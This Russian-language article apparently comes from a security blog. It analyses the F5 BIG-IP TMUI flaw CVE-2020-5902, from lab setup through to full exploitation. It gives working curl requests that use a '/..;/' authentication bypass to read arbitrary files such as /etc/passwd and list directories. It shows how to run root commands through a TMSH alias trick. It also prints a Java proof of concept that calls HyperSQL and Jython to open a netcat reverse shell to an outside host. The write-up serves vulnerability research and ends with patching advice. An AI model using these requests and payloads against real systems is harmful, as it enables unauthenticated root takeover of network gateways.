В составе BIG-IP есть разные модули, которые работают под управлением операционной системы TMOS. Один из них — Local Traffic Manager (LTM) — обрабатывает трафик приложений, обеспечивает безопасность сетевой инфраструктуры и локальную балансировку нагрузки. LTM можно гибко настраивать, в том числе при помощи веб-интерфейса TMUI (Traffic Management User Interface). В нем и нашли уязвимость.
Точнее, нашел Михаил Ключников из Positive Technologies. Баг существует из-за некорректной нормализации URI при обработке запросов. Злоумышленник может обойти аутентификацию в Traffic Management User Interface и использовать функции системы, которые предназначены только для администратора. В результате этого атакующий может выполнять произвольные команды на целевой системе от суперпользователя, а это означает полную компрометацию сервера.
Баг получил номер CVE-2020-5902 и 10 из 10 баллов критичности по CVSS. Уязвимость присутствует в BIG-IP версий с 15.0.0 по 15.1.0.3, с 14.1.0 по 14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1.
Тестовый стенд
Так как продукт коммерческий, простого докер-контейнера в этот раз не будет. Самый легкий способ поднять стенд — это скачать тридцатидневную пробную версию BIG-IP VE (Virtual Edition). Для этого нужен аккаунт, который можно создать на сайте F5. После подтверждения можно будет переходить в раздел загрузок.
Нам нужна последняя уязвимая версия, это — 15.1.0.3. BIG-IP распространяется в нескольких вариантах, нас интересует образ виртуальной машины в формате OVA. Перед загрузкой предложат выбрать удобное зеркало.
![Страница загрузки виртуальной машины BIG-IP в формате OVA](https://cryptoworld.su/wp-content/uploads/2020/09/f5-big-ip-download-page.jpg)
Также можешь попробовать воспользоваться моей ссылкой для скачивания образа. Не могу сказать, сколько она проживет, но пока отлично работает.
После этого импортируем скачанный образ в свою программу виртуализации. Я буду использовать VMware, но и VirtualBox отлично с этим справится.
После успешного импорта загружаем виртуалку. Через некоторое время видим приглашение для авторизации.
![Авторизация в виртуальной машине BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-virtual-machine-login.jpg)
По дефолту пароль для суперпользователя — default
(тебе сразу предложат его сменить). Теперь можно посмотреть IP-адрес виртуалки.
![IP-адрес виртуальной машины BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-vm-ip-address.jpg)
Открываем браузер и переходим на этот IP. Видим форму авторизации Traffic Management User Interface.
![Форма авторизации BIG-IP Configuration Utility](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-configuration-utility-login-page.jpg)
Стенд готов.
Детали уязвимости
Вернемся в консоль. Посмотрим, что за веб-сервер слушает 443-й порт.
netstat -lnpe | grep 443
![Смотрим, какой сервис слушает 443-й порт в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-show-what-listenning-https.jpg)
Это обычный демон httpd
, но очевидно, что он используется просто как фронтенд для проксирования запросов куда-то дальше. Поищем среди конфигурационных файлов директивы ProxyPass
.
grep -iR ProxyPass /etc/httpd
![Поиск директивы проксирования в конфигах httpd](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-httpd-cfg-search-proxypass.jpg)
Нашлось много интересного в файле /etc/httpd/conf.d/proxy_ajp.conf
.
/etc/httpd/conf.d/proxy_ajp.conf
...
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
...
И название, и содержимое файла наводят на мысль, что запросы переправляются к веб-серверу Tomcat по протоколу AJP. О нем я уже писал в статье про уязвимость в Tomcat.
![8009-й порт — это AJP-протокол сервера Apache Tomcat](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-8009-apache-tomcat-ajp-port.jpg)
Но сейчас проблема не в этом. Нам нужно посмотреть на то, как передается URI к Tomcat. Здесь стоит обратиться к большому исследованию Оранжа Цая о нормализации путей в различных приложениях, которое он представил на Black Hat USA 2018 и DEF CON 26 (PDF). Там есть раздел о Tomcat, где конструкция /..;/
используется для выхода из директории, обхода некоторых правил и получения доступа к файлам с важной информацией. Это возможно потому, что веб-сервер воспринимает конструкцию /..;/
как имя папки, а Tomcat интерпретирует его в качестве относительного пути — вверх по дереву в родительскую директорию.
Чтобы проверить, работает ли этот баг в нашем случае, попробуем прочитать какой-нибудь файл, доступ к которому в обычных условиях запрещен. Список таких можно посмотреть, например, в конфиге TMUI — /usr/local/www/tmui/WEB-INF/web.xml
.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet-mapping>
<servlet-name>org.apache.jsp.dashboard.viewset_jsp</servlet-name>
<url-pattern>/dashboard/viewset.jsp</url-pattern>
</servlet-mapping>
Попробуем его просмотреть простым запросом.
curl -k "https://192.168.31.140/tmui/dashboard/viewset.jsp" -is
В ответ получаем редирект на страницу авторизации. А теперь сделаем это при помощи конструкции /..;/
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/dashboard/viewset.jsp" -is
Скрипт viewset.jsp
отрабатывает успешно, и сервер возвращает результат.
![Обход авторизации и просмотр недоступных страниц в F5 BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-access-file-bypass.jpg)
Теперь мы можем читать любые страницы и выполнять сервлеты, которые не проверяют сессию пользователя внутри себя.
Давай посмотрим, что можно откопать в дебрях TMUI. Все самое интересное лежит в директории /usr/local/www/tmui/WEB-INF/
. Здесь же находятся и сами сервлеты, в откомпилированном виде. В связи с этим мне понадобится JD-GUI. Чтобы было проще, советую просто заархивировать директорию /usr/local/www/tmui/WEB-INF/
в формате ZIP и открыть в JD-GUI.
![Декомпиляция классов BIG-IP в JD-GUI](https://cryptoworld.su/wp-content/uploads/2020/09/jd-gui-decompile-big-ip-classes.jpg)
А список эндпойнтов, как мы уже выяснили, можно найти в файле /usr/local/www/tmui/WEB-INF/web.xml
. Их очень много, поэтому приведу здесь несколько наиболее интересных, которые были найдены после релиза уязвимости в паблик.
Первый — /tmui/locallb/workspace/fileRead.jsp
.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.fileRead_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/fileRead.jsp</url-pattern>
</servlet-mapping>
...
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/fileRead_jsp.java
01: package WEB-INF.classes.org.apache.jsp.tmui.locallb.workspace;
...
26: public final class fileRead_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String fileName = WebUtils.getProperty(request, "fileName");
78: try {
79: JSONObject resultObject = WorkspaceUtils.readFile(fileName);
80: out.print(resultObject.toString());
Этот сервлет позволяет читать произвольные файлы, если передать в параметре fileName
. Пробуем прочитать каноничный /etc/passwd
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" -is
Успех, сервер возвращает содержимое файла.
![Чтение произвольных файлов в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-arbitrary-file-read.jpg)
Из интересных файлов, которые можно прочитать, стоит отметить:
/etc/hosts
— здесь можно узнать IP-адреса инфраструктуры BIG-IP;/config/bigip.conf
— здесь находятся переменные конфигурации BIG-IP;/config/bigip.license
— тут можно почерпнуть информацию о текущей лицензии BIG-IP.
Список можно продолжать — я уверен, ты знаешь еще пару десятков заманчивых файлов, которые только и ждут того, чтобы их прочитали. А чтобы было еще проще, на помощь нам приходит следующий интересный сервлет — /tmui/locallb/workspace/directoryList.jsp
.
/usr/local/www/tmui/WEB-INF/web.xml
...
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.directoryList_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/directoryList.jsp</url-pattern>
</servlet-mapping>
...
На вход он принимает параметр directoryPath
, а на выходе, как ты уже догадался, выдает листинг указанной директории.
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/directoryList_jsp.java
26: public final class directoryList_jsp extends HttpJspBase implements JspSourceDependent {
...
61: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
77: String directoryPath = WebUtils.getProperty(request, "directoryPath");
78: try {
79: JSONObject resultObject = WorkspaceUtils.listDirectory(directoryPath);
80: out.print(resultObject);
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/tmui/WEB-INF/lib/" -s
![Чтение содержимого директорий через уязвимость в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-directory-listing.jpg)
Причем содержимое директорий выводится рекурсивно.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/error/" -s
![Директории читаются рекурсивно](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-directory-listing-recursive.jpg)
Но если скрипту попадаются файлы или папки, которые текущий пользователь не может прочитать, то сервер вернет 500 Internal Server Error.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/etc/httpd" -s
![Ошибка при чтении директории через directoryList.jsp, если у текущего пользователя недостаточно прав](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-directory-list-servlet-error.jpg)
Как ты успел заметить, все эти методы чтения файлов и директорий вызываются вот из этого класса:
com.f5.tmui.locallb.handler.workspace.WorkspaceUtils
И если поведение WorkspaceUtils.listDirectory
и WorkspaceUtils.readFile
было вполне понятным, то в следующем сервлете нам придется заглянуть в этот класс, чтобы лучше разобраться в особенностях его работы. Класс WorkspaceUtils располагается в файле .jar по такому пути:
/usr/local/www/tmui/WEB-INF/lib/tmui.jar
Декомпилируем его с помощью все той же JD-GUI, если ты еще этого не сделал.
Переходим к наиболее интересному сервлету — /tmui/locallb/workspace/tmshCmd.jsp
.
/usr/local/www/tmui/WEB-INF/web.xml
<servlet>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<servlet-class>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>org.apache.jsp.tmui.locallb.workspace.tmshCmd_jsp</servlet-name>
<url-pattern>/tmui/locallb/workspace/tmshCmd.jsp</url-pattern>
</servlet-mapping>
WEB-INF/classes/org/apache/jsp/tmui/locallb/workspace/tmshCmd_jsp.java
28: public final class tmshCmd_jsp extends HttpJspBase implements JspSourceDependent {
...
63: public void _jspService(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
...
81: String cmd = WebUtils.getProperty(request, "command");
82: if (cmd == null || cmd.length() == 0) {
83: logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed"));
84: } else {
85: JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd);
86: tmshResult = resultObject.toString();
Здесь на вход принимается параметр command
, который затем передается в метод WorkspaceUtils.runTmshCommand
. Так как мы декомпилировали этот класс, то посмотрим, что делает runTmshCommand
.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
01: package com.f5.tmui.locallb.handler.workspace;
...
31: public class WorkspaceUtils {
...
46: public static JSONObject runTmshCommand(String command) {
...
51: String operation = command.split(" ")[0];
...
53: try {
54: String[] args = { command };
55: Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
56: output = result.getOutput();
57: error = result.getError();
Здесь происходит парсинг строки, которую мы передавали в command
, и затем вызов Syscall.callElevated
. Как видно из названия, этот метод вызывает команду Syscall.TMSH
с повышенными привилегиями.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
13: import com.f5.mcp.schema.ltm.ShellCommandT;
...
78: public static final int TMSH = ShellCommandT.SC_TMSH.intValue();
Класс com.f5.mcp.schema.ltm.ShellCommandT
находится в файле f5.rest.mcp.schema.jar
. Декомпилируем и заглядываем в него.
usr/share/java/rest/libs/f5.rest.mcp.schema.jar/com/f5/mcp/schema/ltm/ShellCommandT.java
01: package com.f5.mcp.schema.ltm;
...
05: public class ShellCommandT extends SchemaEnum {
...
70: public static final ShellCommandT SC_TMSH = new ShellCommandT("SC_TMSH", 32L);
...
94: protected ShellCommandT(String tokenName, long tokenValue) {
95: super("shell_command_t", tokenName, tokenValue);
96: }
TMSH (Traffic Management SHell) — это bash-подобная утилита для администрирования BIG-IP. В ней можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL, использовать разные сценарии поведения сервера, вплоть до его перезагрузки и полного выключения. Очень интересные возможности, не правда ли? 🙂 А если учесть, что все это делается с привилегиями суперпользователя, то этот сервлет становится лакомым кусочком при эксплуатации уязвимости.
WEB-INF/lib/tmui.jar/com/f5/tmui/util/Syscall.java
162: public static Result callElevated(int command, String[] args) throws CallException {
163: return call(command, args, true);
164: }
...
186: private static Result call(int command, String[] args, boolean elevated) throws CallException {
...
203: Connection c = null;
204: try {
...
206: c = ConnectionManager.instance().getConnection();
...
209: c.setUser(UsernameHolder.getUser().getUsername(), (!elevated && !UsernameHolder.isElevated()), false);
210: ObjectManager om = new ObjectManager((SchemaStructured)LtmModule.ShellCall, c);
211: DataObject query = om.newObject();
212: query.put((SchemaAttribute)ShellCall.COMMAND, command);
213: query.put((SchemaAttribute)ShellCall.ARGS, parameters);
214: query.put((SchemaAttribute)ShellCall.USER, UsernameHolder.getUser().getUsername());
215: DataObject[] rs = om.queryStats(query);
216: if (rs != null && rs.length > 0)
217: return new Result(rs[0].getInt((SchemaAttribute)ShellCall.RETURN_CODE), rs[0].getString((SchemaAttribute)ShellCall.RESULTS), rs[0].getString((SchemaAttribute)ShellCall.ERRORS));
Давай попробуем вывести список администраторов BIG-IP. Это делается при помощи команды tmsh list auth user admin
.
![Просмотр списка администраторов BIG-IP через утилиту TMSH](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-tmsh-list-admin-users.jpg)
Теперь сделаем то же самое, только через уязвимость.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin" -s
![Выполнение команд TMSH через уязвимость в F5 BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-tmsh-command-execution.jpg)
Но это не все! Если немного углубиться в документацию TMSH, то можно обнаружить интересную команду bash
модуля util
.
![Список команд модуля util](https://cryptoworld.su/wp-content/uploads/2020/09/tmsh-help-util.jpg)
Эта команда делает именно то, что от нее ожидаешь, — вызывает bash в необходимом контексте. Здесь есть все те же флаги, что и в обычном bash.
![Страница мануала команды bash в TMSH](https://cryptoworld.su/wp-content/uploads/2020/09/tmsh-help-of-bash-command.jpg)
Любые команды из модуля util
можно вызывать как при помощи run
, так и прямо из командной строки.
run /util bash -c id
bash -c id
![Разные варианты выполнения команд в bash через TMSH](https://cryptoworld.su/wp-content/uploads/2020/09/tmsh-bash-execute-variants.jpg)
Однако, если попробовать выполнить любой из вариантов через уязвимость, в ответ сервер вернет ошибку Rejected Tmsh Command
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=bash+-c+id" -s
![Попытка вызвать произвольную команду через уязвимость в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-code-execution-failed.jpg)
Это происходит из-за того, что перед тем, как выполнить TMSH-команду, сервлет tmshCmd_jsp
производит несколько проверок.
WEB-INF/lib/tmui.jar/com/f5/tmui/locallb/handler/workspace/WorkspaceUtils.java
52: if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify"))) {
Метод ShellCommandValidator.checkForBadShellCharacters
проверяет наличие запрещенных символов в строке. В расстрельный список попали:
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r
WEB-INF/lib/tmui.jar/com/f5/form/ShellCommandValidator.java
24: public static boolean checkForBadShellCharacters(String value) {
25: char[] cArray = value.toCharArray();
26: for (int i = 0; i < cArray.length; i++) {
27: char c = cArray[i];
28: if (c == '&' || c == ';' || c == '`' || c == '\'' || c == '\\' || c == '"' || c == '|' || c == '*' || c == '?' || c == '~' || c == '<' || c == '>' || c == '^' || c == '(' || c == ')' || c == '[' || c == ']' || c == '{' || c == '}' || c == '$' || c == '\n' || c == '\r')
29: return true;
30: }
31: return false;
32: }
Но это не главная проблема. Что действительно уменьшает область действия, так это вторая часть условия — проверка выполняемой операции.
operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")
Как видишь, возможно выполнить только четыре команды TMSH: create
, delete
, list
и modify
. И здесь на помощь приходят алиасы. Как и в bash, в TMSH можно создать псевдонимы (alias) для команды, чтобы каждый раз не набирать ее. За это отвечает модуль cli alias. Алиасы бывают двух типов — shared
и private
. Они отличаются областью видимости — первые доступны внутри всей системы, вторые ограничены текущим пользователем. Посмотреть список псевдонимов можно с помощью команды list
, удалить — delete
, а создать новый при помощи create
.
![Список общих (shared) псевдонимов в TMSH](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-tmsh-shared-alias-list.jpg)
Думаю, ты уже догадываешься, к чему я веду. Нужно создать псевдоним для команды bash
, в качестве имени которого указать любую из четырех разрешенных операций. Только советую делать область видимости private
и удалять псевдоним сразу после выполнения необходимой команды, чтобы не мешать нормальной работе системы. Итак, план действий следующий.
Командой create cli alias private modify command bash
создаем в зоне видимости пользователя алиас с именем modify
, который будет вызывать команду bash
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+modify+command+bash" -s
Теперь modify -c id
выполнит необходимую команду. В моем случае это id
.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=modify+-c+id" -s
Затем delete cli alias private modify
— удаляем созданный алиас во избежание проблем.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+modify" -s
![Успешная эксплуатация уязвимости в F5 BIG-IP. Выполнение произвольных команд с правами суперпользователя](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-remote-code-execution-through-tmsh.jpg)
Такую последовательность легко автоматизировать. Готовые решения ты с легкостью сможешь найти на просторах GitHub. Существует даже готовый модуль для Metasploit.
К слову, этот способ RCE был найден позднее. Михаил же в своем репорте предлагает более интересный метод выполнения команд — через базу данных HyperSQL. Давай заодно посмотрим, как это делается.
RCE через HyperSQL
В BIG-IP используется база данных HyperSQL. Запросы к сервлету, который с ней работает, httpd
проксируют по URI /hsqldb
.
/etc/httpd/conf.d/proxy_ajp.conf
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
Конечно же, этот адрес доступен только после авторизации, но ты уже знаешь, как это обойти.
curl -k "https://192.168.31.140/tmui/login.jsp/..;/hsqldb/" -s
![Обход авторизации для доступа к HSQLDB](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-hsqldb-auth-bypass.jpg)
HyperSQL позволяет работать с базой данных по протоколу HTTP(S). Подключение описано в документации. По дефолту используется пользователь SA и пустой пароль.
Теперь давай накидаем PoC, который будет делать какие-нибудь простые запросы к БД. Для начала нужно скачать правильную библиотеку HSQLDB (ZIP). Затем пропишем в hosts строку
192.168.31.140 localhost.localdomain
Разумеется, IP должен быть твоей виртуалки! 🙂 Это нужно, чтобы не возиться с SSL-сертификатами в Java. Далее в качестве URL для коннекта к базе данных указываем адрес с байпасом авторизации.
/hsqldb-poc-rce/src/com/f5rce/Main.java
01: package com.f5rce;
02:
03: import java.sql.*;
04: import java.lang.*;
05: import java.util.Properties;
06:
07: public class Main {
08:
09: public static void main(String[] args) throws Exception {
10: Class.forName("org.hsqldb.jdbcDriver");
11: String connectionURL = "jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3b/hsqldb/";
Теперь имя пользователя и пароль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
12: Properties props = new Properties();
13: props.setProperty("user","SA");
14: props.setProperty("password","");
Подключаемся к БД.
/hsqldb-poc-rce/src/com/f5rce/Main.java
15: try {
16: Connection c = DriverManager.getConnection(connectionURL, props);
17: Statement stmt = null;
18: ResultSet result = null;
Теперь выполняем простенький запрос
SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS
/hsqldb-poc-rce/src/com/f5rce/Main.java
19: stmt = c.createStatement();
20: result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
Получаем результат и выводим в консоль.
/hsqldb-poc-rce/src/com/f5rce/Main.java
21: while (result.next()) {
22: System.out.println("Got result: " + result.getString(1));
23: }
24: result.close();
25: stmt.close();
26: } catch (SQLException e) {
27: e.printStackTrace();
28: }
![Выполнение запроса к БД HyperSQL через обход авторизации в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-hsqldb-exec-query.jpg)
Если внимательно просмотреть документацию к базе данных, то можно обнаружить любопытную функцию CALL, которая позволяет вызывать внешние функции Java.
Сначала проверим classpath
— пути, откуда подгружаются библиотеки:
CALL "java.lang.System.getProperty"('java.class.path')
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"java.lang.System.getProperty\"('java.class.path')");
![Получение classpath через HSQLDB в BIG-IP](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-hsqldb-get-classpath.jpg)
Аналогичные пути использует Tomcat. Это хорошо, так как список потенциально опасных методов довольно обширен. Среди этого многообразия нужно найти метод с модификатором static
, то есть тот, который можно вызывать без создания объекта класса. Михаил обнаружил подходящий:
com.f5.view.web.pagedefinition.shuffler.Scripting#setRequestContext
Он находится в файле /usr/local/www/tmui/WEB-INF/classes/tmui.jar
, который мы уже декомпилировали.
WEB-INF/lib/tmui.jar/com/f5/view/web/pagedefinition/shuffler/Scripting.java
01: package com.f5.view.web.pagedefinition.shuffler;
...
12: public class Scripting {
13: static {
14: Properties props = new Properties();
15: System.setProperty("java.ext.dirs", "/usr/local/www/tmui/WEB-INF/lib/");
16: System.setProperty("java.class.path", System.getProperty("java.class.path") + ":/usr/local/www/tmui/WEB-INF/classes");
...
45: public static void setRequestContext(String object, String screen) {
46: PyObject current = getInterpreter().eval(object + "__" + screen + "()");
47: currentObject.set(current);
48: }
Этот метод выполняет код Jython и возвращает объект типа org.python.core.PyObject. Jython — это реализация языка Python на Java, поэтому нужно использовать его конструкции. Будем выполнять код при помощи Runtime.getRuntime().exec()
. Для нашего удобства в BIG-IP по дефолту установлен netcat с поддержкой флага -e
. Делаем через него бэкконнект.
/hsqldb-poc-rce/src/com/f5rce/Main.java
20: result = stmt.executeQuery("CALL \"com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" +
21: "\"('Runtime.getRuntime().exec(\"nc 192.168.31.12 1337 -e /bin/bash\")#','#')");
![Успешная эксплуатация BIG-IP. Удаленное выполнение команд через HSQLDB](https://cryptoworld.su/wp-content/uploads/2020/09/big-ip-rce-through-hsqldb-call.jpg)
Демонстрация уязвимости (видео)
Заключение
Рассмотренная уязвимость в очередной раз доказывает, что даже такая незначительная проблема, как некорректная нормализация пути, ведет к серьезным последствиям. Знание инфраструктуры приложения и возможности входящих в его состав инструментов позволили полностью захватить контроль над машиной BIG-IP. И думаю, нет смысла объяснять, какие проблемы может вызвать скомпрометированная система, через которую ходит весь сетевой трафик.
После получения деталей уязвимости разработчики F5 предложили ряд временных решений до выхода полноценного патча. К сожалению, некоторые из них оказались неэффективными и не позволяют в должной мере защититься от злоумышленников. Поэтому лучше всего обновляться до версии приложения, где проблема полностью исправлена.